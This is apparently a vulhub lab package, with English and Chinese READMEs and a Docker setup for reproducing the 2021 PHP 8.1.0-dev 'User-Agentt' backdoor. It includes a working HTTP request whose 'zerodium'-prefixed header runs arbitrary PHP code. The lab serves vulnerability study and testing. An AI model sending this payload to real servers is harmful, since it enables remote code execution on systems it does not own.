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# PHP 8.1.0-dev User-Agentt Backdoor Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
PHP version 8.1.0-dev was implanted with a backdoor on March 28, 2021, but the backdoor was quickly discovered and removed. When this backdoor is present on a server, an attacker can execute arbitrary code by sending a **User-Agentt** header.
References:
- https://news-web.php.net/php.internals/113838
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
## Vulnerable Environment
Start a PHP 8.1-dev server with the backdoor.
```
docker compose up -d
```
After the environment is started, the service runs at ``http://your-ip:8080``.
## Vulnerability Reproduce
Send the following request to execute the code `var_dump(233*233);`:
```
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
```
![](1.png)

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# PHP 8.1.0-dev User-Agentt 后门导致远程代码执行漏洞
PHP 8.1.0-dev 版本在2021年3月28日被植入后门但是后门很快被发现并清除。当服务器存在该后门时攻击者可以通过发送**User-Agentt**头来执行任意代码。
参考链接:
- https://news-web.php.net/php.internals/113838
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
## 漏洞环境
执行如下命令启动一个存在后门的PHP 8.1服务器:
```
docker compose up -d
```
环境启动后,服务运行在`http://your-ip:8080`
## 漏洞复现
发送如下数据包,可见代码`var_dump(233*233);`成功执行:
```
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
```
![](1.png)

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version: '2'
services:
web:
image: vulhub/php:8.1-backdoor
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:80"

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<?php
echo "hello world";